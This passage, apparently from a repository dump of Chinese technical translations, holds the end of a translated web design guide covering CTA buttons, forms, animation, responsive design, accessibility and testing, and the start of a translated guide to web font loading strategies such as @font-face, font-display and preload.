按钮非常醒目，立马抓住用户眼球。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **对比空间** CTA 按钮周围的空间大小也很重要。白色（或对比色）的空间为按钮创建了留白区域，将按钮与界面中其他元素分割开。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n 旧版本的 Dropbox 主页是使用对比空间来突出 CTA 的很好例证。深蓝色的“免费注册”CTA 按钮与淡蓝色的背景形成对比反差。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n*   **基于行为的文案** 编写吸引用户行动的文案。以“开始”，“获取”或“加入”这类动词开头。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n Evernote 的 CTA 虽然常见但也最有效得传达了行动。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n**提示：** 你可以通过模糊效果快速测试 CTA。模糊测试是判断用户的眼神是否会落在想要位置的最便捷方法。将网页截图在 [Adobe XD](https://helpx.adobe.com/experience-design/help/background-blur.html) 中应用模糊效果（参考下图示例）。看看页面的模糊版本，哪些元素会突出显示？如果这不是你想要的效果，再次修改。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-large-opt.png)\n\n<figcaption>模糊测试是一种检验设计焦点和视觉层次的技术。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-large-opt.png))\n\n#### Web Forms 网页表单\n\n表单填写是网页最重要的互动类型之一。事实上，表单通常被认为是完成目标的最后一步。确保用户可以快速填写表单，不会出现疑问。表单就像是一个对话框：用户和网站双方之间应该有逻辑的沟通。\n\n*   **只问必须问的问题** 只要求用户填写真正需要的内容。表单的任意一个额外字段都会影响转换率。每次都想清楚你为什么需要这些信息，你将如何使用这些信息。\n*   **合理排列表单问题** 表单上的问题应该从用户视角出发，符合用户逻辑。例如，在填写名字之前先填写地址就不合逻辑。\n*   **整合相关联的字段** 将相关的字段信息整理在同一个逻辑单元中。从一系列问题到下一系列问题的流程更像是一个对话。将相关字段整合分组更有助于用户理解信息。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/50-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/50-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n将相关字段整合在一起 (图片来源: Nielsen Norman Group)\n\n#### Animation 动画\n\n越来越多的设计师提倡 [动画即功能](https://www.smashingmagazine.com/2017/01/how-functional-animation-helps-improve-user-experience/) 来提升用户体验。动画不再仅仅为了有趣，它是提高交互效率的重要工具之一。然而，动画只有在合适的时间和场景下才能提升用户体验。好的交互动画有这样的目标：它是有意义的、功能性的。\n\n以下是动画提升用户体验的一些场景：\n\n*   **对用户行为的视觉反馈** 好的交互设计提供了视觉反馈。当你需要告知用户操作的结果时，视觉反馈非常有效。如果操作执行失败，动画可以简捷地为用户提供反馈。例如，输入密码错误时可以使用摇动效果。这很好理解，摇动效果作为常用体势，在人际沟通中普遍意味着“不”。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/44-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/44-A-Comprehensive-Guide-To-Web-Design.gif)\n\n 用户看到动画后，秒懂问题出在哪 (图片来源： [The Kinetic UI](http://thekineticui.com/your-app-login-is-boring/))\n\n*   **系统状态的可见性**[Jakob Nielsen 的十大启发式可用性](http://www.nngroup.com/articles/ten-usability-heuristics/)中，系统状态的可见性是用户界面设计最重要的原则之一。用户随时随地都想知道当前的位置，而不能让他们一直猜测 —— 应用应该通过适当的视觉反馈告诉用户现在的状态。数据上传和下载操作是功能性动画的常见场景。例如，加载动画显示了任务的进度、处理的速度，并在用户心中奠定了后续可能的处理速度。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/39-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/39-A-Comprehensive-Guide-To-Web-Design.gif)\n\n(图片来源： [xjw](https://dribbble.com/xjw))\n\n*   **导航式动画** 导航式动画是指网站上各个状态间的切换 —— 例如，从概述视图到详细视图。状态切换往往涉及到大面积场景更换，有时候用户思维难以跟上。功能性动画能简化用户对场景转变过程的适应，在场景切换之间平滑过渡，并通过在场景的状态变化中插入视觉连接来凸出变化所在。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/47-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/47-A-Comprehensive-Guide-To-Web-Design.gif)\n\n(图片来源： [Ramotion](http://ramotion.com))\n\n*   **品牌推广** 假设你有十几个相同功能的网站，帮用户完成相同任务。它们都能提供良好的用户体验，但用户最喜欢的不仅仅是良好的用户体验。网站应该与用户建立情感联系。此时品牌动画在吸引用户方面起着决定性作用。它会形成公司的品牌价值，突出产品优势，使用户真正感到愉悦，令人难忘。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/05-A-Comprehensive-Guide-to-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/05-A-Comprehensive-Guide-to-Web-Design.gif)\n\n(图片来源： [Heco](https://www.helloheco.com/))\n\n### 移动端支持\n\n如今，将近 [50% 的用户](https://www.statista.com/topics/779/mobile-internet/)通过移动设备访问网页。这对网站设计师意味着什么？这意味着我们设计的每一个页面都必须支持移动端。\n\n#### 响应式网页设计\n\n针对不同的桌面浏览器、移动浏览器优化你的网站，每一平台的浏览器都有不同的屏幕分辨率，技术支持和用户基础。\n\n*   **单栏布局目标** 单栏布局通常在移动设备上效果很好。单栏布局不仅能有效应对小屏幕的有限空间，而且在不同分辨率的设备上、横竖屏模式中自如伸缩。\n*   **使用 Priority+ 模式优化断点式导航栏** [Priority+](http://justmarkup.com/log/2012/06/19/responsive-multi-level-navigation/) 是 Michael Scharnagl 提出的术语，用来描述导航栏展示重要的导航选项，隐藏次要的导航选项于“更多”按钮中。这种模式充分利用了可用的屏幕空间。当屏幕拉伸时，导航选项随之增加，从而提高了网站的可视性和参与度。这种模式在多模块富内容的网站尤为有效（例如新闻网站、大型电商网站）。图例中卫报使用 Priority+ 模式进行模块导航。次要选项仅在用户点击“All”按钮时显示。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/51-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/51-A-Comprehensive-Guide-To-Web-Design.gif)\n\n卫报使用 Priority+ 模式进行模块导航(图片来源： [Brad Frost](http://bradfrost.com/blog/post/revisiting-the-priority-pattern/))\n\n*   **确保图像在多个设备端适应尺寸** 网站必须完美适应于所有设备，适应不同分辨率的屏幕、像素密度、放置方向。在设计者构建响应式网站时，主要挑战之一便是图像的管理适配与呈现。为了简化这个任务，可以使用 [响应式图片断点生成器](http://www.responsivebreakpoints.com/) 这类工具处理图像。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n响应式图片断点生成器可以管理适配多尺寸图片，动态生成响应式图片断点。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/52-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### 从鼠标点击到手势\n\n移动网页端的交互是通过手指完成的，而非鼠标点击。这意味着设计触碰对象和交互时要应对不同的规则。\n\n*   **合理设置交互对象尺寸** 所有交互元素（链接、按钮、菜单）都应该是可用手势点击的。PC 端网页的交互区域（可点击区域）小而精确，而移动端网页需要较大较宽的按钮，方便手指交互。如果你的网站需要大量手势操作进行输入，参考 [MIT Touch Lab 的研究](http://touchlab.mit.edu/publications/2003_009.pdf)来为你的按钮选择适当的尺寸。研究发现手指面的平均尺寸在 10 到 14 毫米间， 指尖在 8 到 10 毫米间，10 × 10 毫米是恰当的触点尺寸。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/07-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/07-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)\n\n小按钮比大按钮难点击 (图片来源： [Apple](https://developer.apple.com/design/tips/))\n\n*   **交互需要更强烈的视觉标记** 在移动端的网页上，不存在悬停态。而在 PC 端，用户可以将鼠标悬浮在元素上获得额外的视觉反馈，比如悬停展开下拉菜单。移动端用户不得不点击得到反馈。因此，用户应该具有通过观察来正确预判页面元素行为的能力。\n\n### Accessibility 无障碍设计\n\n如今的产品必须设计为可被所有人使用，无论用户的是否有障碍。为障碍群体设计实际上是设计师培养同情心，试着以他人视角体验世界的另一种方式。\n\n#### Users With Poor Eyesight 弱视用户\n\n许多网站文本采用低对比度。虽然低对比度文本可能比较新潮，但也更加难阅读难识别。低对比度内容使视力较低的用户、对比度敏感用户产生阅读困难，\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n灰色文字在浅灰色背景下难以阅读。当体验很不好的时候，设计再好也毫无意义。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/41-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n低对比度文字在 PC 端难以阅读，移动端更是难上加难。想象下你走在烈日中，尝试阅读低对比度的文本。这提醒我们无障碍的视觉设计是能更好针对所有用户的设计。\n\n永远不要为了美观牺牲可用性。网站上文本和其他视觉元素最重要的特性就是可读性。可读性要求文本与背景有足够对比。为了确保视觉障碍人士也能阅读，W3C 网页内容无障碍设计指南（WCAG）提出了[建议对比度](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html)。 建议对文本文字和图像文字使用以下对比度：\n\n*   字号较小的文本与背景的对比度至少为 4.5:1，最优对比度为 7:1。\n*   字号较大的文本（18号字体、14号粗体以上）与背景的对比度至少为 3:1。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/49-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/49-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n**差的例子：** 这几行字不符合颜色建议对比度，在该背景下难以阅读。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/03-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/03-A-Comprehensive-Guide-to-Web-Design-preview-opt.png)\n\n**好的例子：** 这几行字符合颜色建议对比度，在该背景下清晰易读。\n\n你可以使用 WebAIM 的[色彩对比度检测](http://webaim.org/resources/contrastchecker/) 快速得知是否在最佳视觉范围内。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/13-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Color Blind Users 色盲用户\n\n据估，[全球 4.5% 人口](http://www.colourblindawareness.org/colour-blindness/)为色盲（每 12 名男性中就有 1 名，每 200 名女性中有 1 名）。4% 人口为低视力（每 30 人中有 1 人），0.6% 为盲人（每 188 人中有 1 人）。我们很容易忽视为这些用户群设计，因为大多数设计师都没有经历过这样的问题。\n\n为了让这些用户正常访问，请避免使用颜色维度来传达内容。正如 [W3C 声明](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-without-color.html)所说，不应该使用颜色“作为唯一的视觉方式传达信息，指定行为，提示回应，或区分视觉元素。\n\n一个常见的例子：表单中用颜色作为唯一方式传达警告信息。成功和错误消息分别以绿色和红色表示。但是红绿色盲是最常见的色盲群体 —— 对他们来说这些颜色很难分辨。你可能经常看到这样的错误信息，比如“红色标识区域为必填项”。虽然这看起来问题不大，但对色盲用户来讲，这种表单错误提示超烦。颜色应该被用来突出显示或补充显示可见信息。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/32-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/32-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n**不好的例子：** 这种表单仅靠红色和绿色来表示字段是否有错。色盲用户是无法识别。\n\n上表中，设计师应该给出更具体的提示，比如“您输入的电子邮件地址无效”或者至少在需要注意的地方显示图标。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/33-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/33-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n**好的例子** 图标和文字标签显示哪些字段无效，更好地将信息传递给色盲用户。\n\n#### Blind Users 盲人用户\n\n照片和插画是网站用户体验的重要组成部分。但盲人用户需要屏幕阅读器等辅助技术来翻译网站。屏幕阅读器通过图像的文本标注来“阅读”图片。如果没有文本标注或者描述不够清楚，他们将难以按照预期获取信息。\n\n考虑两个例子 — 一个是 [Threadless](https://www.threadless.com/)：一个流行 T 恤的电商网站。这个页面并没有太多在售商品的相关信息，唯一可见的文本信息是商品的价格和尺寸。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/19-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n第二个例子是 ASOS 网站。同样是销售T恤的网页，它为商品提供了准确的文字表述。这有助于使用屏幕阅读器的用户想象商品的外观。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/48-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/48-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n为图像创建解释性文本时，请遵循以下指南：\n\n*  所有“有含义的”图像都需要描述性的替代文字。（“有含义的”图片为信息传达提供场景）\n*  如果图像仅仅是装饰性效果，未提供帮助用户理解页面内容的有用信息，则文本描述并非必要。\n\n#### Keyboard-Friendly Experience 键盘流用户体验\n\n一些用户使用键盘而非鼠标浏览网站。例如，有运动障碍的用户在使用鼠标这类精细运动工具时有困难。可以为此类用户简化交互和网页定位，通过将交互元素适配 Tab 键，并显示键盘指示符。\n键盘导航的基本规则如下：\n\n*   **检查键盘指示符是否明显可见** 有些网页设计师会删除键盘指示符，因为他们觉得碍眼。但这阻碍了键盘用户与网站的正常交互。如果您不喜欢浏览器提供的默认指示符，请别直接删除; 而是通过设计来满足你的品味。\n*   **所有交互元素都应该可以通过键盘访问** 键盘用户应当可以访问所有交互元素，而不是仅仅能使用导航栏和主要的 CTA  按钮。\n\nW3C 的 WAI-ARIA 创作实践 [“设计模式和工具” ](http://www.w3.org/TR/wai-aria-practices/#aria_ex) 章节，可以找到更多键盘交互的需求细节。\n\n### Testing 测试\n\n#### Iterative Testing 迭代测试\n\n测试是 [UX 设计流](https://blogs.adobe.com/creativecloud/what-is-ux-and-why-should-you-care/) 中的重要一步。\n如同设计周期的其它步骤一样，它是迭代的过程，从早期开始收集反馈，自始至终进行迭代。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-large-opt.png)\n\n(图片来源： [Extreme Uncertainty](https://www.extremeuncertainty.com/why-agile-projects-need-to-fund-bml-properly/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/18-A-Comprehensive-Guide-To-Web-Design-large-opt.png))\n\n#### Test Page-Loading Time 网页加载时间测试\n\n用户很讨厌加载缓慢的网页，正因如此，响应时间是现代网站的关键因素。根据 Nielsen Norman Group 的研究，主要有[三大响应时间界线：](https://www.nngroup.com/articles/response-times-3-important-limits/)\n\n*   **0.1 秒** 对用户来说是瞬间。\n*   **1 秒** 短短一秒对用户认知流几乎无缝，但还是会感到一丝延迟。\n*   **10 秒** 这几乎是用户注意力的极限了，10 秒的延迟通常会逼走用户马上关闭页面。\n\n显然，我们不能让用户为了任何事务等待 10 秒之久。但即便是几秒的延迟（实际上经常发生），也会降低用户体验。用户会因为等待操作而恼怒。\n\n通常是什么导致加载缓慢呢？\n\n*   繁重的内容对象（例如嵌入视频或是幻灯片控件）\n*   未经优化的后台代码\n*   硬件问题（基础设施不足以支持快速操作）\n\n诸如 [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) 类的工具能帮助你找到加载速度过慢的原因。\n\n#### A/B Testing  A/B 测试\n\nA/B 测试适用于：当你纠结于两个版本的设计（比如现有版本和重新设计的版本）。这种测试方法包含：对相同数量的两类用户随机显示两个版本，然后对数据进行分析，查看哪个版本更有效地实现目标。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/17-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/17-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)\n\n(图片来源： [VWO](https://vwo.com/ab-testing/))\n\n### Developer Handoff 开发者交接\n\n[UX 设计流程](https://blogs.adobe.com/creativecloud/ux-process-what-it-is-what-it-looks-like-and-why-its-important/) 包含两个重要的步骤：原型设计工作、解决方案的开发。两步之间的衔接可以称作为交接 （handoff）。当设计到最后阶段，准备投入开发时，设计师准备设计规范，也就是设计实现的文档描述。设计规范确保设计稿会遵循原始意向进行开发工作。\n\n**设计规范的精度十分重要** 如果存在不精准的设计规范，开发者在网站开发阶段要么边猜边做，要么回来找设计师寻找答案。但是手工填写设计规范非常头疼，取决于设计的复杂性，这通常需要大量时间成本。\n\nAdobe XD 的设计规格功能（测试版）可以发布公开访问的 URL 供开发工程师检查工作流。设计师不再需要花费大量时间创作设计规范，与程序员沟通元素位置，字体样式。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/25-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/25-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)\n\nAdobe XD 的设计规格功能（测试版）\n\n### 结语\n\n与任何方面的设计一样，这里的建议都只是一个开始。将这些想法与你的实践相结合以达到最好的效果。把你的网站看作是一个循序渐进的项目，使用分析手段和用户反馈逐步改善体验。记住：设计并不是为了设计师而设计 —— 为用户而设计。\n\n> 这篇文章是由 Adobe 赞助的 UX 设计系列其中一篇。Adobe XD 工具是志于 [快速流畅的 UX 设计流](https://adobe.ly/2hI52UE)，帮你快速由想法到实现原型。设计，原型，分享 —— 只需一个应用。点击[Adobe XD on Behance](https://www.behance.net/galleries/adobe/5/XD)查看更多使用 Adobe XD 创作出得灵性作品，[注册 Adobe experience design newsletter ](https://adobe.ly/2yKueO8) 接收最新 UX/UI 设计趋势和灵感。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/comprehensive-webfonts.md",
    "content": "> * 原文链接 : [A COMPREHENSIVE GUIDE TO FONT LOADING STRATEGIES](https://www.zachleat.com/web/comprehensive-webfonts/)\n> * 原文作者 : [Zell](http://zellwk.com/contact/)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n> * 校对者: [cyseria](https://github.com/cyseria) , [David Lin (wild-flame)](https://github.com/wild-flame)\n\n# 字体加载策略全面指南\n\n_2016 年 7 月 12 日，_ _本文需要 20 分钟的阅读时间。_\n\n_这份指南并不是教你怎么使用显示图标字体，它有不同的加载优先顺序和使用场景。事实上，此时使用 `SVG` 或许才是一个长久之计。_\n\n[![A diagram describing the relationship between the font loading strategies](https://www.zachleat.com/web/img/posts/comprehensive-webfonts/strategies.svg)](https://www.zachleat.com/web/img/posts/comprehensive-webfonts/strategies.svg)\n\n## 跳转到:\n\n* [随意使用 `@font-face` ](#unceremonious-随意使用-font-face)\n* [`font-display`](#font-display)\n* [预加载 `preload` ](#预加载-preload)\n* [不要使用在线字体](#不要使用在线字体)\n* [内嵌数据 URI](#内嵌数据-uri)\n* [异步数据 URI 样式表](#异步数据-uri-样式表)\n* [有分类的 FOUT](#有分类的-fout)\n* [两个阶段渲染的 FOFT，或 FOUT](#两个阶段渲染的-foft-或-fout)\n* [严格的 FOFT](#严格的-foft)\n* [有数据 URI 的严格 FOFT](#有数据-uri-的严格-foft)\n* [有预加载 `preload` 的严格FOFT](#有预加载-preload-的严格foft)\n\n\n## 快速指南\n\n我想要一个这样的实现途径:\n\n*  _是一个对大多数使用场景来说*足够好*且全面的实现方式_: (例如) [有分类的 FOUT](#有分类的-fout)\n\n* _是尽可能最容易实现的方式_: 我已经学习了很多有关 [在线字体](http://www.webhek.com/tag/web-font/) (的知识)，在我写这篇文章的时候，目前的浏览器还缺少对在线字体高效，稳定和最容易的实现方案。不得不承认，如果你正在寻找现存的可行方案，请考虑 [不要使用在线字体](#不要使用在线字体)。如果你都不清楚在线字体能为你的设计带来什么提升的话，他们确实一点儿都不适合你。别误会，在线字体是一个**伟大发明**。但是你得让自己明白什么是它能带来的好处。( [由Robin Rendel创作的，为在线字体辩护，论_在线字体的价值_](https://robinrendle.com/notes/in-defense-of-webfonts/#the-value-of-a-webfont) 是一个让你初步了解在线字体的好文章. 如果你还知道其他的, 请留言告诉我.)\n\n* _是一个有最佳性能的实现方式_: 使用 `严格的 FOFT` 实现方式其中的一个。就个人而言，在我写作的时候，我个人偏爱 [有数据 URI 的严格 FOFT](#有数据-uri-的严格-foft), 但是仍转向了 [有预加载 `preload` 的严格FOFT](#有预加载-preload-的严格foft)，因为越来越多的浏览器支持`preload（预加载）`功能。 \n\n* _能和大量的在线字体(库)很好的配合工作_: 如果你痴迷于在线字体（任何多过 4 或 5 个的在线字体或者总共文件大小多于 100KB）这有点复杂。我先推荐你尝试削减你的在线字体的使用量，但如果这不可能保持标准 [两个阶段渲染的 FOFT，或 FOUT](#两个阶段渲染的-foft-或-fout) 的实现方式。为每一个字型使用不同的 `FOFT` 实现方式(`Roman`，`Bold`，`Italic` 等等分类)。\n\n* _将能和我现存的云/在线字体的托管服务解决方案配合使用_: `FOFT` 的实现方式一般来说需要亲自托管服务, 所以保持可靠和真的 [有分类的 FOUT](#有分类的-fout) 的实现方式. \n\n### 标准\n\n1. **简化实现**: 有时候, 简单才能赶上最后的时间期限。\n2. **渲染性能**: `FOUT` 的特性是允许立刻渲染回退方案的字体也可以渲染在线字体,当它完成加载时。我们可以采用额外的步骤减少大量的显示回退方案字体的时间并且减少了对 `FOUT` 的影响, 更有甚者能将他们一起消除。\n3. **可扩展性**: 一些加载字体的实现方式支持连续的加载在线字体。我们想并行的执行这些请求。我们将评估每一个实现和扩张，发展中的在线字体配合度有多好。\n4. **拥抱未来**: 如果有一个新的字体出现它将需要额外的研发和维护么, 或者它将能方便的适配么？\n5. **浏览器支持**: 它是否能成功支持足够多的浏览器满足项目上的需要？\n6. **灵活性**: 这个实现方式是否容易地促进整合在线字体的请求，重新绘制和（页面）回流? 我们想（完全）控制哪个字体何时（何地）被加载。\n7. **稳定性**: 如果一个在线字体的请求被挂起了会发生什么呢？（需要被渲染的）文本将依旧被（显示）可读或者这个在线字体将是一个单点故障（`SPOF`）(导致整个字体渲染失败)?\n8. **托管服务**: 这个实现方式是否需要亲自（虚拟主机）托管服务或者它是否能自适应配合多种多样的字体加载器（由其他云服务商/字体创始人提供）。 \n9. **阉割版(裁剪版)**: 一些字体的（使用）许可证不允许（内容被）裁剪（需要保证完整性），然而有些实现方式不得不为了性能需要对字体（库）进行裁剪。 \n\n## (Unceremonious) 随意使用 @font-face\n\n随意把`@font-face`代码块放置在你的网页中并且希望这是最好的办法. 这是 [Google Fonts](https://fonts.google.com/) 推荐的默认方式.\n\n* **[演示程序: (Unceremonious)随意使用 @font-face](https://www.zachleat.com/web-fonts/demos/unceremonious-font-face.html)**\n\n#### 优点\n\n* 非常简单: 增加一个有 `WOFF` 和 `WOFF2` 格式的 CSS `@font-face` 代码块(也可以是 `OpenType` 格式, 如果你想要 `Android 4.4` 以下支持 - 比较下 [WOFF](http://caniuse.com/#feat=woff) 和 [TTF/OTF](http://caniuse.com/#feat=ttf))。\n* 拥抱未来: 这是浏览器默认的作法。这就是在线字体的主流形式。只需要在你的 `@font-face` 中, 在 `src` 属性中用逗号分割开其他需要包含的 `URL` , 就能增加额外的字体样式。\n* 在 `IE` 和 `Edge` (微软浏览器)上都有上佳的渲染性能: 没有 `FOIT`，没有被隐藏和不可见的文本。我完全支持微软这个英明的决定。\n* 不需要修改字体（通过裁剪或者其他形式）。 无需担心许可。 \n\n#### 缺点\n\n* 在其他浏览器的渲染性能差强人意: 在多数其他流行的浏览器上最多有 3 秒时间的 `FOIT`, 切换到 `FOUT` 加载时间更长. 当然这些请求可能被更早完成, 尽管我们知道互联网（的响应时间）是会变得多么不可靠-但是对于内容至少 3 秒无法阅读, 这个时间还是太长了。\n* 目前来说, 不是很稳定: 一些基于 `WebKit` 内核实现的浏览器没有一个最大 `FOIT` 超时时间(虽然 `WebKit` 最近修复了这个问题并且我相信这个修复会被 `Safari Version 10` 采用。)，这也意味着在线字体的请求会成为一个单点失败(如果这个请求被挂起, 那么内容将永远不会被显示)。\n* 将请求或重绘整合在一起一点都不容易。每一个在线字体都会引发一个单独的重绘/回流步骤和自己的 `FOIT` / `FOUT` 超时时间. 这会带来不良的情况, 例如 [Mitt Romney 的在线字体问题](https://www.zachleat.com/web/mitt-romney-webfont-problem/) ).\n\n#### 结论： 不要使用。\n\n## font-display\n\n在你的 `@font-face` 代码块中增加一个新的 `font-display: swap` 描述符选择性加入支持 `FOUT` 的浏览器。另外, 如果考虑到在线字体不是你设计一定需要的, 可以使用 `font-display: fallback` `font-display: optional`。在我写这篇文章时, 这个特性还没法在任何稳定的浏览器上使用。\n\n#### 优点\n\n* 非常简单: 只需要在你的 `@font-face` 代码块中增加一条 CSS 描述符号。\n* 上佳的渲染性能: 如果这个实现方式能被大部分的浏览器支持, 这将给我们一个没有任何`JavaScript`的 `FOUT`。 一个只有 CSS 的实现方式会更理想。\n* 超棒的拥抱(面向)未来: 与子线字体样式成正交状态。不需要改变什么, 你就可以在栈上增加新的字体。\n* 非常稳定: 即使在线字体的请求被挂起, 一种 `FOUT` 实现方式也将在浏览器中显示支持回退方案的文本。更好的是-你的在线字体并不依赖 `JavaScript ployfill`, 这意味着如果 `JavaScript` 方法失败, 用户依旧还能看到在线字体。\n* 不需要修改字体(通过裁剪或者其他形式)。无需担心许可. \n\n#### 缺点\n\n* 没有稳定的浏览器支持。只有 [`Chrome`平台有一个更新状态](https://www.chromestatus.com/feature/4799947908055040)。它没有被录入 [`Firefox`](https://platform-status.mozilla.org/) 或者 [`Edge`](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/) 平台。开发者门将可能需要匹配 `JavcScript` 实现方式, 直到一流的浏览器能支持。\n* 有限的灵活性: 没法整合请求和重绘。这也并没有听上去那么糟-如果你 FOUT 所有的东西你将避免发生 *Mitt Romney 的在线字体问题*, 但是整合在其他方面会很有用-我们将在之后讨论。\n* 托管服务: 没法在任何已知的在线字体托管服务中控制这个属性。这不在谷歌字体 CSS 中, 举例来说. 当浏览器支持以后, 这将会被改变。\n\n#### 结论: 但加无妨，但还是不够。\n\n## 预加载 `preload`\n\n增加 `<link rel=\"preload\" href=\"font.woff2\" as=\"font\" type=\"font/woff2\" crossorigin>` 更快的获取到你的字体。配合 `@font-face` 代码块使用并且也可以和 `font-display` 描述符号一起锦上添花。\n\n切记: 这个实现方式的利弊完全取决于配合使用的加载策略, 无论是 [随意使用 `@font-face`](#unceremonious-随意使用-font-face) 或者 [`font-display`](#font-display)。\n\n### 优点\n\n* 